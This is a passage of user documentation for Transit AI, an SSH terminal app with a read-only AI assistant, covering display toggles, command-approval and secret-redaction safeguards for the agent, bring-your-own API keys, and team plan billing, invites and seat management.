https://transitai.app/docs/how-tos/syntax-highlighting/ Syntax highlighting colorizes keywords and status words in the terminal output as a device emits them. Off by default; toggle is **per-device** so it's on for the lab gear you care about and off for everything else. ## Steps There are two places to flip the toggle: ### When adding a new device 1. Open the new-device dialog (sidebar **+** button). 2. Fill in the device fields. 3. Tick **Syntax highlighting** at the bottom of the form. 4. Click **Save**. ### On an existing device 1. Right-click the device row in the sidebar. 2. Pick **Edit device…**. 3. Tick **Syntax highlighting**. 4. Click **Save**. The change takes effect on the next line of output — no reconnect needed. A small "syntax highlighting" badge appears in the pane header when this device has highlighting on. ## What gets highlighted - Interface / link state words: `up`, `down`, `administratively down`. - Protocol state: `established`, `idle`, `active`. - BGP / OSPF state. - MAC addresses, IPv4 addresses (in some contexts). - Generic positive / negative tokens (`enabled`, `disabled`, `permit`, `deny`). The patterns are vendor-agnostic in v1. Per-vendor packs (Cisco BGP state shapes, Junos `commit complete`, etc.) are a follow-up. ## When highlighting auto-bypasses Full-screen programs like `vi`, `less`, `top`, `htop`, `tmux` need precise control over the terminal — colorizing their output would garble them. Highlighting auto-bypasses while the device is in the alternate screen (the standard ANSI sequence `\x1b[?1049h` that those programs send to take over the terminal). The pane header's badge stays visible but the highlighter is a no-op until the alt screen is exited. --- # Turn on quick copy/paste Source: https://transitai.app/docs/how-tos/quick-copy-paste/ Quick copy/paste is a per-device toggle that enables familiar mouse-driven copy and paste: - **Auto-copy on selection** — selected text writes to the clipboard immediately on selection (no Cmd-C needed). - **Right-click paste** — right-clicking in the pane pastes the clipboard. - **Middle-click paste** — middle-clicking pastes too (familiar to X11 users). Off by default. When off, the terminal behaves like a normal terminal — Cmd/Ctrl-C and Cmd/Ctrl-V do what you'd expect. ## Steps ### When adding a new device 1. Open the new-device dialog (sidebar **+** button). 2. Fill in the device fields. 3. Tick **Quick copy/paste**. 4. Click **Save**. ### On an existing device 1. Right-click the device row in the sidebar. 2. Pick **Edit device…**. 3. Tick **Quick copy/paste**. 4. Click **Save**. The change takes effect on the next click in any open pane for this device. ## What still asks for confirmation **Multi-line pastes** always prompt for confirmation regardless of the quick copy/paste setting. Pasting a `\n`-bearing clipboard into a network device sends each line as a separate command, so the prompt is a guardrail against an accidental "I copied 40 lines of config and middle-clicked". The confirm dialog shows the full paste preview and the line count. Click **Paste** to send, **Cancel** to abort. ## What clicks do when quick copy/paste is OFF | Action | Behavior | |---|---| | Left-click drag | Selects text. Selection is NOT auto-copied; use Cmd/Ctrl-C. | | Right-click | Default terminal context menu. | | Middle-click | Default terminal behavior (typically does nothing). | | Cmd/Ctrl-V | Pastes (single-line goes through immediately; multi-line prompts). | ## What clicks do when quick copy/paste is ON | Action | Behavior | |---|---| | Left-click drag | Selects text. Selection auto-copies to the clipboard. | | Right-click | Reads clipboard, pastes. Single-line goes through; multi-line prompts. | | Middle-click | Reads clipboard, pastes. Single-line goes through; multi-line prompts. | | Cmd/Ctrl-V | Same as right-click. | --- # Use the AI agent Source: https://transitai.app/docs/how-tos/use-the-agent/ Transit AI's AI assistant is a read-only investigator. It can list your open sessions, read scrollback (with secrets stripped out), propose commands (gated by a per-vendor permit list and your approval click), and ask you clarifying questions. That's the whole menu — see [Features → AI agent](/docs/features/) for more detail. This page covers how to use it day-to-day. ## Open the chat panel - **Keyboard:** press **Cmd/Ctrl + J**. - **Mouse:** click the chat icon on the right-hand side of the main area. The panel opens on the right. Drag the divider to resize. ## Pick a model (optional) The chat panel header shows the active model. Click it to pick a different one from your tier's allow-list: - **Free tier**: `claude-sonnet-4-6`. - **Pro / Max**: `claude-sonnet-4-6`, `claude-opus-4-7`, `gpt-4o`, `gpt-4o-mini`. Switching mid-conversation starts the next turn on the new model; prior turns stay on whatever model answered them. ## Ask a question 1. Open at least one SSH session to a device you want the agent to investigate. The agent can only see sessions you have open. 2. Type a question in the input box at the bottom of the chat panel. 3. Press **Cmd/Ctrl + Enter** (or click **Send**) to submit. 4. The AI streams its response. If it needs to read scrollback, it does so silently. If it wants to **run a command**, an approval dialog pops up. ## Approve or deny a command When the AI proposes a command, an approval dialog appears with: - The command it wants to run (e.g. `show interfaces terse`). - Which session it'll run on (device name + session ID). - For Linux / Unix devices: an amber warning banner, because Transit AI has no per-vendor permit list for generic Linux — your click is the only check. Three actions (**Approve** and **Deny** are the footer buttons; **Auto-approve matching** is a separate regex field + button above them, never a one-click variant of Approve): - **Approve** — runs the command in the named session. Output is captured (until the device goes silent for ~800ms) and fed back to the agent. - **Auto-approve matching** — type a regex, then click this button: it runs the command AND remembers the pattern for this chat-and-session pair, so future commands matching it skip the dialog for the rest of the chat. The pattern is held in memory only; it clears when you close the chat or quit Transit AI. The per-vendor permit list still runs on every command regardless. - **Deny** — refuses. The AI is told you said no and decides what to do next. The dialog cannot be dismissed by Enter, Escape, or clicking outside. You must explicitly choose one of the three. ### Always-allow shortcut — what it does and doesn't do It **skips the approval dialog** for commands matching your saved pattern. It **does not** skip the per-vendor permit list. The permit check runs on every command. A command the list denies stays denied — the AI is told it can't run it, regardless of any shortcut you've saved. It **is held in memory only**, scoped to the current chat-and-session pair. Closing the chat or restarting Transit AI clears it. On **Linux / Unix devices**, the always-allow shortcut is unavailable. Transit AI hides the option and refuses to honor it — every command on a Linux box gets its own approval dialog, full stop. ## Cancel a running investigation Press **Stop** in the chat panel header, or close the chat — either one stops the AI mid-task: - If you stop between turns, the chat ends cleanly with a "User aborted" message. - If you stop while a command is running, Transit AI drops the in-flight result and the chat ends. Stopping doesn't undo work the AI has already done — a command that was approved and ran has, in fact, run. ## Auto-stop — when an investigation ends by itself Each investigation is capped at: - **12 back-and-forth rounds** - **50,000 tokens** - **120 seconds** of wall clock Hitting any cap ends the investigation with a chat message saying which cap fired. Send a follow-up question to start fresh. ## What the agent never sees - Your passwords or private keys — the AI has no programmatic path to your credential store. An automated check fails the build if anyone tries to add one. - Bytes that look like secrets in device output — PEM blocks, encrypted passwords, AWS keys, JWTs and similar are stripped on your machine before any scrollback reaches the AI, and replaced with placeholders like `[REDACTED:pem#1]`. See [Security model](/docs/security/) for the full architectural detail. --- # Bring your own provider key (BYOK) Source: https://transitai.app/docs/how-tos/bring-your-own-key/ **BYOK** lets you use your own Anthropic or OpenAI API key for AI agent calls instead of Transit AI's cloud-resident key. **Included free with every paid tier** (Operator, Pro, Max) — no separate purchase or unlock. The **BYOK** tab is in Settings as soon as your subscription is active. This page covers setting up BYOK for one or both providers. ## How BYOK fits in the request path Every AI call still goes through Transit AI Cloud — the cloud proxy is the connection layer regardless of which key it uses. What changes: - Your key is read from your **OS keychain** at request time. - It transits to Transit AI's proxy infrastructure inside the request body (not a header). - The proxy uses your key instead of Transit AI's to authenticate the call to Anthropic or OpenAI. - The key is **never persisted server-side**. Server-side logs contain only metadata (token counts, latency, cost) — no key bytes, no prompt, no completion. If your BYOK key becomes invalid (rotated, expired), AI requests return an "unauthorized" error from the provider. Transit AI doesn't silently fall back to its own key — that would surprise you with a charge you didn't intend. ## Steps — enroll a key 1. Click your account chip in the sidebar footer. 2. Pick **Settings…** from the popover. 3. Click the **BYOK** tab. (If it's not there, you're signed out or your subscription isn't active — BYOK requires any paid tier. On a team plan, BYOK is also free and admin-managed at the member level; see [Team plans](/docs/teams/).) 4. Pick a provider (**Anthropic** or **OpenAI**). 5. Paste the key into the field. Keys aren't echoed back to the UI once saved. 6. Click **Save**. The key is enrolled in your OS keychain under a service name separate from your SSH credentials. You can enroll keys for both providers — the agent picks the right one based on the chosen model. ## Anthropic key format Starts with `sk-ant-…`. Generate at [console.anthropic.com → API Keys](https://console.anthropic.com). Pick a key with the scope you want — Transit AI only uses `messages.create` (the Messages API), so a key restricted to inference is enough. ## OpenAI key format Starts with `sk-…` or `sk-proj-…`. Generate at [platform.openai.com → API Keys](https://platform.openai.com/api-keys). Transit AI uses `chat.completions` only. A project-scoped key is fine. ## Steps — rotate or remove a key To rotate: paste the new key into the same field and click **Save**. The OS keychain entry is overwritten. To remove: click **Clear** in the BYOK tab. The keychain entry is deleted; the next AI call will fail with "BYOK key not set" until you re-enroll. (To stop using BYOK entirely and fall back to the cloud-resident key, you currently need to also flip the BYOK toggle off in Settings → BYOK; that's wired in the same tab.) ## Cost visibility with BYOK BYOK bypasses Transit AI's monthly budget — you pay the provider directly. Transit AI Cloud still records each BYOK call's token counts and latency for your own usage view (`/me` shows totals) but the "% of budget" indicator doesn't apply because there's no budget counter against a BYOK call. You'll see one effect on a BYOK call: - Cost shows as `$0` in your Transit AI usage display, because the AI provider billed your own account directly. (We don't see what the provider charged you.) ## What's never stored - The key itself, server-side. The desktop reads it from your keychain per request, sends it through the proxy in the request body, and forgets it after the response. - A copy of the key on disk anywhere outside the OS keychain. See [Security model → Cloud isolation](/docs/security/#cloud-isolation) for the full account of what the cloud does and doesn't log. --- # Team plans Source: https://transitai.app/docs/teams/ A **team plan** lets one admin buy a pool of Transit AI seats on a single invoice, invite teammates by email, and manage everything — billing, roster, tier assignments, overage — from a dedicated admin portal at [transitai.app/admin/](/admin/). This page is the overview. The step-by-step guides live under **[How-tos → Teams](/docs/how-tos/#teams)**. ## How team plans differ from personal plans | | Personal plan | Team plan | |---|---|---| | Subscriber | One person | One organization | | Payment | The user's card | The admin's card (one invoice for everyone) | | Seats | 1 | Any mix of Operator + Pro + Max, total ≥ 1 | | Onboarding | Sign-up form | Admin sends an invite email; member clicks the link | | Tier changes | The user picks their own | The admin assigns each member's tier | | Billing portal | The user's [account page](/account/) | The [admin portal](/admin/) | | Overage | On by default; each user can turn it off | On by default per seat; the admin can turn it off per member | | BYOK | Included free, per-user | Included free, per-user | Tiers, prices, allowances, and BYOK behavior are otherwise identical to the personal plan. See [Billing & usage](/docs/billing/) for the mechanics that apply to both. ## What an admin can do - **Buy a team plan** from [/pricing/](/pricing/) → "Buy for a team" → pick how many seats of each tier the team needs. - **Invite members** by email from [/admin/invites/](/admin/invites/) — pick which tier the invite consumes; the member's email gets a link. - **Manage members** from [/admin/members/](/admin/members/) — change someone's tier, change their role (Admin can manage; Member can't), or remove them. - **Adjust seats** from [/admin/billing/](/admin/billing/) — add or remove seats at each tier. Increases prorate immediately; decreases defer to the start of your next billing period so no one's entitlement disappears mid-period. - **Manage overage per member** from [/admin/members/](/admin/members/) — overage is **on by default** for each Pro or Max member; turn it off (or back on) per member to control spending past their tier allowance, up to a per-seat cap, and see every member's current-cycle usage in the same table before deciding. (Operator seats are capped at the tier allowance; switch a member to Pro or Max if they need more. The Billing tab shows the rolled-up overage total.) - **Cancel the subscription** anytime — effective at period end; all members keep access until then. ## What a member sees A member who accepts a team invite signs in as themselves but their subscription is managed by the team's admin. Specifically: - The [/account/](/account/) page shows their plan but **no** billing controls. The "Manage subscription" button and tier-switch dropdown are replaced with a note: *"Managed by your team admin."* - The desktop app shows their assigned tier in the sidebar footer exactly as it does for a personal subscriber. - If the admin changes their tier (Operator → Pro, say), the change propagates to their running desktop app within one AI request, or within ~30 minutes if the app is idle. They don't need to sign out and back in. - They keep full control of BYOK. Each member enrolls their own Anthropic or OpenAI key in the desktop app — see [BYOK](/docs/how-tos/bring-your-own-key/). The admin can't read it. ## What a member CAN'T do - See or pay the team's bill - Add seats or invite new members - Change anyone's tier — including their own - Cancel the subscription - See other members' usage Anything that touches the org's Stripe customer (portal, overage toggle, checkout) returns a 403 if a member calls it. The admin portal at `/admin/` returns "Not authorized" if a non-admin lands there. ## Pricing A team plan is just N personal subscriptions on one invoice — no volume discount, no minimum, no setup fee. ``` Operator seat — $29 / month / seat Pro seat — $79 / month / seat Max seat — $199 / month / seat ``` Annual billing is 12× the monthly rate — same as the personal plan. Pick whichever invoice cadence you prefer. ## Common workflows The full step-by-step guides live in How-tos. The most common ones: - **[Buy a team plan](/docs/how-tos/buy-a-team-plan/)** — first-time admin signup - **[Invite a teammate](/docs/how-tos/invite-a-teammate/)** — send an invite email - **[Accept a team invite](/docs/how-tos/accept-a-team-invite/)** — what the recipient does - **[Change a member's tier](/docs/how-tos/change-a-member-tier/)** — move someone between Operator / Pro / Max safely - **[Add or remove team seats](/docs/how-tos/add-or-remove-team-seats/)** — adjust the per-tier seat counts - **[Manage overage for a member](/docs/how-tos/enable-team-overage/)** — per-member (on by default; opt out) ## Cancellation When the admin cancels, all members keep access through the end of the current billing period. After that, the AI assistant goes quiet for every member; the SSH client itself keeps working. The admin can re-subscribe later — member roster and assigned tiers are preserved, so reactivation restores the team without re-inviting. A member can also **leave** a team by asking the admin to remove them from [/admin/members/](/admin/members/). After removal they keep their personal Transit AI account, but their tier becomes none — they'll need to subscribe personally or accept another invite. ## Related - **[Billing & usage](/docs/billing/)** — tier allowances, overage math, BYOK - **[Billing scenarios](/docs/billing-scenarios/)** — worked examples for every plan change, seat adjustment, cancellation, and overage charge - **[Pricing](/pricing/)** — current rates + sign-up - **[Bring your own key](/docs/how-tos/bring-your-own-key/)** — applies the same in team plans --- # Buy a team plan Source: https://transitai.app/docs/how-tos/buy-a-team-plan/ This page walks you through buying a team plan from scratch. If you already have a personal Transit AI subscription, you can still buy a team plan — the two coexist. You become the team's **owner** (the admin role that owns billing). All teammates join via email invite. ## Before you start You'll need: - A team email address you want the invoice and notifications sent to. This can be your personal address; it doesn't have to be a shared mailbox. - A credit card (or whatever your country's default payment method is — the checkout supports the same methods as the personal plan). - A rough idea of which tier each member needs. You can adjust this later; see [Change a member's tier](/docs/how-tos/change-a-member-tier/). ## Steps 1. Go to [transitai.app/pricing/](/pricing/). 2. Click **Buy for a team**. (This sits next to the personal-plan "Sign up" buttons.) 3. On the team checkout form, pick **how many seats** of each tier you want: - **Operator** — $29/month/seat. Lowest tier allowance, no overage, no premium models. - **Pro** — $79/month/seat. Higher allowance, overage-eligible, all models. - **Max** — $199/month/seat. Highest allowance, overage-eligible, all models. 4. **Buy at least one seat at the tier you, the admin, want for yourself.** The team checkout assigns YOU (the buyer) to the highest tier in the seat pack so you can use the AI on your own device. If you only buy Operator seats, you yourself end up on Operator. 5. Optionally enter a **team name** — it shows on your team's admin dashboard. You can change it later. 6. Pick **monthly** or **annual** billing. (Annual is 12× monthly — it's about invoice cadence, not discount.) 7. Click **Continue to payment**. You're handed off to our payment processor's hosted checkout to fill in card and billing details. 8. After payment succeeds, you land on **/admin/welcome** — a one-time onboarding page that explains the next step (invite teammates). ## What just happened - A team **organization** was created in our system. You're its **owner**. - A subscription was opened on the seat counts you picked. The subscription bills against your card on file. - Your personal Transit AI account is now linked to the team. The team subscription replaces any personal subscription you had — you'll see a refund/credit on your next personal invoice if you had one running. (We auto-merge in the cheaper direction.) - Overage is **on by default** per member. An admin can turn it off (or back on) per member from [/admin/members/](/admin/members/). ## Next steps - **[Invite a teammate](/docs/how-tos/invite-a-teammate/)** — send the first invite. - **[Open the admin portal](/admin/)** — the home for everything team-related. - **[Sign in on the desktop](/docs/how-tos/sign-in/)** — to start using the AI yourself. ## If something goes wrong - **"Buy for a team" button is greyed out.** Workers occasionally delays bringing the team-pricing endpoint up after a deploy. Refresh the page; if it's still grey after 60 seconds, email [support@transitai.app](mailto:support@transitai.app). - **Payment processor rejected the card.** The error message comes directly from the processor — most common cases are insufficient funds, wrong billing zip, or a fraud check on a large first-time charge. Try a different card or call your bank. - **You landed on /admin/welcome but the org name says "Your team is being set up…"** — webhook from the payment processor is in flight. The page polls; usually clears within 30 seconds. If it's still stuck after 2 minutes, the webhook failed — email support with the email you used at checkout and we'll reconcile. ## Related - **[Team plans overview](/docs/teams/)** — what a team plan is and how members see it - **[Pricing](/pricing/)** — current rates - **[Billing & usage](/docs/billing/)** — tier allowances, overage, BYOK --- # Invite a teammate Source: https://transitai.app/docs/how-tos/invite-a-teammate/ Once you've [bought a team plan](/docs/how-tos/buy-a-team-plan/), the admin portal at [/admin/](/admin/) lets you invite teammates by email. Each invite is bound to one tier (Operator / Pro / Max) and consumes one seat at that tier when accepted. Invites expire 7 days after they're sent. This page covers sending an invite, watching the list of open invites, and resending or canceling when something goes wrong. ## Before you start - You must be **owner** or **admin** of the team. Regular members can see the portal exists but the page returns "Not authorized." - You must have **at least one unused seat** at the tier you want the invite to consume. Seat counts live on the [Billing](/admin/billing/) page; an invite consumes a seat immediately (it doesn't wait for acceptance — otherwise members could accept past the seat cap). ## Steps — send an invite 1. Open the [admin portal](/admin/). 2. Click **Invites** in the admin nav. 3. Click **Invite a teammate**. 4. Enter: - **Email** — where the invite link is sent. - **Tier** — Operator, Pro, or Max. The dropdown only shows tiers with at least one unassigned seat plus tiers your team already owns. If a tier you want is missing, add a seat on [Billing](/admin/billing/) first. - **Role** — **Member** (the default; can use the product but can't manage the team) or **Admin** (can do everything you can except cancel the subscription). 5. Click **Send invite**. The recipient gets an email titled *"You've been invited to <your team's name> on Transit AI"* with a link. The link is unique to that invite — anyone with the link can claim the seat, so treat it like a credential. ## The Open invites list Below the invite form, **Open invites** shows everyone who hasn't accepted yet: | Column | What it means | |---|---| | Email | Where the invite was sent | | Tier | Which tier seat is reserved for them | | Role | Admin or Member | | Sent | When the invite was created | | Expires | 7 days from "Sent". After that the link stops working | | Actions | **Resend** (re-emails the same link) and **Cancel** (revokes the link, returns the seat to the pool) | The invite row disappears once accepted — head to [Members](/admin/members/) to see the new joiner. ## Resend an invite The most common reason: the recipient says they didn't get the email. Resend re-sends the same link, doesn't generate a new one, and doesn't reset the 7-day expiration clock. Click **Resend** on the row. You'll see a green confirmation. If the email still doesn't arrive after a resend, check: - Recipient's spam / junk folder - Recipient's email provider's bulk-mail filtering (some block any "click this link" email from a domain they've never seen) - The **Email** field for typos — a typo'd address means the link goes to a stranger or bounces If none of those apply, email [support@transitai.app](mailto:support@transitai.app) with the invite recipient's email and we'll look at the delivery log. ## Cancel an invite Click **Cancel** on the row, confirm. The link stops working immediately and the seat returns to your unassigned pool. The recipient can no longer accept. Cancel before re-inviting if you've changed your mind about which tier the seat should be at — you can't change an open invite's tier in place. Cancel the old, send a new one at the right tier. ## What the recipient sees They receive an email with a "View invite" link. Clicking it lands them on the [Accept invite](/accept-invite/) page on transitai.app, which: - If they don't have a Transit AI account, walks them through sign-up and then accepts the invite. - If they already have one (personal subscription, say), signs them in and accepts. Their personal subscription is replaced with the team seat; we issue a prorated refund on the personal side. See [Accept a team invite](/docs/how-tos/accept-a-team-invite/) for the full member-side walkthrough. ## Troubleshooting ### "Seat cap exceeded" when sending an invite You have no unused seats at the chosen tier. Either: - Cancel an open invite at that tier, or remove a member at that tier, then retry, OR - Add a seat at that tier on [Billing](/admin/billing/) first. ### "Invite already pending" The email you entered already has an open invite. Find it in the Open invites list — resend or cancel it, don't try to create a duplicate. ### Invite expired (7 days passed) Cancel the expired invite (the Cancel button still works on expired rows for cleanup) and send a new one. ## Related - **[Team plans overview](/docs/teams/)** — admin vs member capabilities - **[Add or remove team seats](/docs/how-tos/add-or-remove-team-seats/)** — buy more seats before inviting - **[Change a member's tier](/docs/how-tos/change-a-member-tier/)** — move someone after they've accepted --- # Accept a team invite Source: https://transitai.app/docs/how-tos/accept-a-team-invite/ If a teammate has invited you to their Transit AI team plan, you'll have an email titled *"You've been invited to <team name> on Transit AI"* with a **View invite** button. This page covers what clicking that button does. ## Before you start You don't need anything special — no payment method, no Transit AI account ahead of time. The invite link covers both fresh sign-ups and existing accounts. ## What the link does Clicking **View invite** opens `https://transitai.app/accept-invite/?token=…` in your browser. From there: 1. **If you don't have a Transit AI account**, you're walked through the sign-up form (email + password, or sign in with Google / Microsoft / GitHub). After sign-up succeeds, the invite is automatically accepted — you become a member of the team at the tier the admin assigned, no payment required from you. 2. **If you already have a Transit AI account** (say you've used a personal subscription before), you're prompted to sign in. After sign-in, the invite is accepted and your account joins the team. Either way, you land on a confirmation page showing the team name and the tier you were assigned. ## What happens to a personal subscription if I already had one? If you had a personal Transit AI subscription running when you accepted the invite, we **auto-merge** in your favor: - Your personal subscription is canceled at the end of the current period — you keep what you already paid for. - A prorated refund or credit is issued for any unused time. - From the moment you accept the invite, the AI runs against the team's seat (whichever tier the admin assigned). You don't need to do anything to coordinate this — the system detects the personal subscription and handles it during invite acceptance. **If your personal tier is HIGHER than the team tier you were assigned**, your effective tier drops to the team-assigned one at acceptance time. Talk to the team admin before clicking accept if that's a concern; they can adjust the invite tier from the admin portal. ## After accepting - The desktop app on your machine picks up the new tier within one AI request, or within ~30 minutes if you're not actively using it. You don't need to sign out and back in. - Your [/account/](/account/) page shows your tier and a "Managed by your team admin" note. The Manage subscription button and tier-switch dropdown are gone — those belong to the admin now. - Your BYOK toggle in the desktop app's Settings stays under your control. BYOK is free with every paid tier; the admin doesn't see or manage your provider keys. ## What you CAN'T do as a member - Change your own tier — only the team's admin can. - See or pay the team's bill. - Invite other members. - Cancel the team subscription. If you want any of those, ask your team admin or go back to a personal subscription (which requires the admin removing you from the team first; see [Leaving a team](#leaving-a-team) below). ## Common issues ### "No invitation token in the link" The token wasn't preserved through the sign-in redirect. The fix: go back to the invite email and click **View invite** fresh — don't paste the URL by hand or strip the `?token=…` query string. ### "This invite has expired" Invites expire 7 days after they're sent. Ask the team admin to send you a new one — they can do this from the Invites page in the admin portal in two clicks. ### "This invite was already accepted" Someone has used this link. If that wasn't you, ask the team admin — there might have been a typo on the email field. The admin can remove the wrong joiner and re-invite you. ### "Seat cap exceeded" The team admin tried to send the invite when they didn't have a free seat at your tier. They need to buy a seat first, then resend. Reach out to them. ## Leaving a team To leave a team you've joined, ask the admin to remove you from the [Members](/admin/members/) page. After removal: - Your Transit AI account stays intact — same login, same preferences, same keychain BYOK keys. - Your tier becomes none. The AI assistant stops working until you either subscribe personally from [/pricing/](/pricing/), or accept another team's invite. - Existing SSH connections stay open in the current session but the AI panel will say "Sign in required" once it tries to refresh. ## Related - **[Team plans overview](/docs/teams/)** — what a team plan is - **[Sign in](/docs/how-tos/sign-in/)** — the desktop sign-in flow - **[Bring your own key](/docs/how-tos/bring-your-own-key/)** — BYOK works the same in a team plan --- # Change a member's tier Source: https://transitai.app/docs/how-tos/change-a-member-tier/ This page is the admin guide to moving a teammate between tiers. The order matters: **buy → reassign → remove**. If you try to do it in the wrong order, the system blocks you (which is the point — it prevents you from accidentally orphaning a member at a tier with no paid seats). ## When you'd do this - A member outgrows their tier and needs more allowance — move them from Operator → Pro or Pro → Max. - A member rarely uses the AI and can drop to a smaller seat — move them from Max → Pro or Pro → Operator. - Reshuffling who's on which tier without changing the total seat count — swap two members' tiers. ## Before you start - You must be **owner** or **admin** of the team. - Know which tier you want them on. Tier allowances and feature differences are explained in [Billing & usage](/docs/billing/). ## Steps — upgrade a member (Operator → Pro, for example) If the target tier has a free seat, this is two clicks. If it doesn't, three steps. 1. Go to [/admin/billing/](/admin/billing/). 2. Look at the **Adjust seats** form. Check whether the target tier has unused capacity (the helper text under each input says "X assigned · Y remaining"). 3. **If there's at least one seat remaining at the target tier**, skip to step 6. Otherwise: 4. Increase the target tier's seat count by 1. So if you're going to move someone to Pro and currently have 2 Pro seats both assigned, set Pro to 3. 5. Click **Apply changes**. Increases prorate immediately — you pay the difference on your next invoice. The new seat is ready instantly. 6. Go to [/admin/members/](/admin/members/). 7. Find the row for the member you want to move. Their **Tier** dropdown now shows the new tier (it filters to tiers with available seats plus the member's current tier). 8. Pick the new tier from the dropdown. The **Save** button on that row lights up. 9. Click **Save**. The change applies immediately. The member's desktop app picks up the new tier within one AI request, or within ~30 minutes if they're idle. 10. If you added a seat in step 4 and now want to clean up the old tier's now-unused seat, follow the **downgrade** steps below. ## Steps — downgrade a member (Pro → Operator, for example) The downgrade case is the same buy→reassign→remove order. The "buy" step is usually free here because Operator capacity is often available. 1. Go to [/admin/billing/](/admin/billing/). 2. If the target tier (Operator in this example) has no available seats, add one — same as step 4 above. (You'll often have capacity already; this step is conditional.) 3. Go to [/admin/members/](/admin/members/) and switch the member's tier dropdown to the lower tier. Click **Save**. 4. Go back to [/admin/billing/](/admin/billing/). The old tier (Pro in this example) now has a freed seat. Reduce the seat count by 1. 5. Click **Apply changes**. Decreases **schedule for the start of your next billing period** — no mid-period refund, no surprise drop in capacity. The seat count visible in the UI stays at the current value until renewal, then drops. You'll see a confirmation: *"Scheduled to take effect on <date> (the start of your next billing period). Your seats and entitlement stay the same until then."* To cancel the scheduled downgrade — say you changed your mind or the member came back asking for the seat — just set the seat count back up. The schedule releases and the sub continues with the higher count. ## Why downgrades defer Quick story: without deferral, a member could downgrade their tier on day 28 of a billing period, immediately get a prorated credit for the unused $79/month tier, then upgrade back to the same tier on day 1 of the next period and net out a free month. The defer-to-period-end policy closes that loop without penalizing legitimate downgrades — the member keeps their current entitlement through the period they've paid for, and the new (smaller) seat takes effect at renewal. ## Why the system blocks you from doing this in the wrong order If you tried to **remove a Pro seat first** while a member is still on Pro, you'd hit this 409: > You have 1 pro member, but you're reducing pro to 0. > Remove/re-tier members on the Members tab or cancel pending > invites on the Invites tab first. That's the system saving you from a state where a member's entitlement is gone because the seat they were on no longer exists. Similarly, if you tried to **assign a tier to a member when no seats are available at that tier**, the Members page dropdown wouldn't even show that tier as a choice — and if you forced it (browser hack, direct API call), you'd hit: > Operator has 1 seat total, 1 assigned and 0 pending invites. > Add an Operator seat on Billing first. Both gates exist to keep your seat count and member roster in sync. Trust them. ## Common variants ### Swapping two members' tiers (no seat-count change) Say you have 1 Operator + 1 Pro, and you want to swap who's on which. The order: 1. Go to Members. Move whichever member you're upgrading **first**. You can't — the target tier has 0 free seats. So: 2. Go to Billing. Temporarily add a seat at the upgrade target (Pro=2 in this case). Apply. 3. Go to Members. Move the upgrade target to Pro. The downgrade target is still on Pro — that's fine. 4. Go to Members. Move the downgrade target to Operator. 5. Go to Billing. Reduce Pro back to 1. 6. Apply. The decrease defers; no mid-period refund. There's no shortcut here — swaps require briefly holding the extra seat. The seat is prorated, so you pay only for the fraction of the period you held it. ### Moving multiple members to the same new tier Do it in a single buy → reassign batch → remove: 1. Billing: increase target-tier count by N (one per member you're moving). 2. Members: pick the new tier on each member, Save each row. 3. Billing: reduce the source-tier count by N. Apply. ## Related - **[Add or remove team seats](/docs/how-tos/add-or-remove-team-seats/)** — the seat-form mechanics in detail - **[Team plans overview](/docs/teams/)** — admin vs member capabilities - **[Billing & usage](/docs/billing/)** — what each tier includes --- # Add or remove team seats Source: https://transitai.app/docs/how-tos/add-or-remove-team-seats/ This page covers the **Adjust seats** form at [/admin/billing/](/admin/billing/) — adding seats so you can invite more teammates, or removing seats you no longer need. Tier-mix changes for an existing member are a different workflow; see [Change a member's tier](/docs/how-tos/change-a-member-tier/). ## Before you start You must be **owner** or **admin** of the team. The Billing page returns "Not authorized" otherwise. ## The form Each tier (Operator, Pro, Max) has a numeric input showing the seat count and a helper line below it: ``` Operator [ 2 ] 1 assigned · 1 remaining Pro [ 3 ] 3 assigned · 0 remaining Max [ 0 ] Not purchased ``` Edit any input and the summary line at the bottom of the form tells you the net effect: - **Adding N seats** — applies immediately, prorates on your next invoice for the unused portion of the current period. - **Removing N seats** — scheduled for the start of your next billing period. Your current seats and member entitlements stay live until then. - **Swapping seats across tiers** (e.g. -1 Operator +1 Pro) — treated as a combined upgrade. The net cost difference is prorated; the swap takes effect immediately. The **Apply changes** button stays disabled until your inputs differ from the current counts AND total seats stays ≥ 1. ## Steps — add seats 1. Go to [/admin/billing/](/admin/billing/). 2. Bump the input for the tier you want more of. Example: Operator was 2, set to 3. 3. Confirm the summary line — "Adding 1 seat". 4. Click **Apply changes**. You'll see a green confirmation: *"Seats updated — change applies immediately. Prorated charge will appear on your next invoice."* 5. The new seat is now in your unassigned pool. Either [send an invite](/docs/how-tos/invite-a-teammate/) at that tier, or [reassign an existing member](/docs/how-tos/change-a-member-tier/) onto it. The proration charge appears on whatever invoice closes the current billing period — same way Stripe handles every other seat-quantity change. ## Steps — remove seats 1. Go to [/admin/billing/](/admin/billing/). 2. Decrease the input for the tier with the unused seat(s). Example: Pro was 3, set to 2. 3. Confirm the summary line — "Removing 1 seat". 4. Click **Apply changes**. You'll see: *"Scheduled to take effect on <next-period date> (the start of your next billing period). Your seats and entitlement stay the same until then. To reverse the downgrade, simply set the seats back up — the schedule will be released."* 5. Until the next period starts, the seat count visible in the UI stays at the higher value. At renewal, it drops to the target. To cancel a scheduled removal — say you changed your mind — go back to the form and set the seat count back up. The scheduled change is released. ## Why removals defer Without deferral, a customer could subscribe at a high seat count on day 1, immediately drop the count on day 28, receive a prorated credit for ~27 days of unused capacity, and effectively get a discount on capacity they already used. Deferring to the next billing period closes that loop: you keep what you paid for through the end of the period, the new (smaller) bill starts at renewal. ## Why you can't drop a seat below its current assignment Try setting Pro from 2 to 0 with one member still on Pro and the form returns: > You have 1 pro member, but you're reducing pro to 0. > Remove/re-tier members on the Members tab or cancel pending > invites on the Invites tab first. The system also counts **open invites** as committed seats — an outstanding invite for a Pro role reserves a Pro seat, so you can't reduce Pro count below `assigned members + open invites at that tier`. Two fixes: - [Re-tier the member to a tier you DO want to keep paying for](/docs/how-tos/change-a-member-tier/). - [Remove the member from the team](/docs/how-tos/invite-a-teammate/#) or cancel their open invite first, then re-apply the seat decrease. ## You can't drop your own tier If you're on Pro and try to set Pro to 0 (intending to keep Operator and Max, say), the form blocks with: > You can't drop your own tier (pro) below 1 — you'd lose > access immediately and couldn't fix it from this page. Reasoning: dropping your own tier would kill your own entitlement, including the right to call the billing API to fix the mistake. The system requires you to keep at least 1 seat at your current tier. If you really want to move yourself to a different tier, do it via [Change a member's tier](/docs/how-tos/change-a-member-tier/) (which lets you re-tier yourself the same way you'd re-tier any other member). ## Common flows | Goal | Action | |---|---| | Hire a new Pro engineer | +1 Pro seat → invite them | | Promote an Operator to Pro | +1 Pro, re-tier the member on Members tab, -1 Operator | | Someone leaves the team | Remove them from Members → reduce their tier's seat count by 1 | | Trial-team going permanent | Often no change 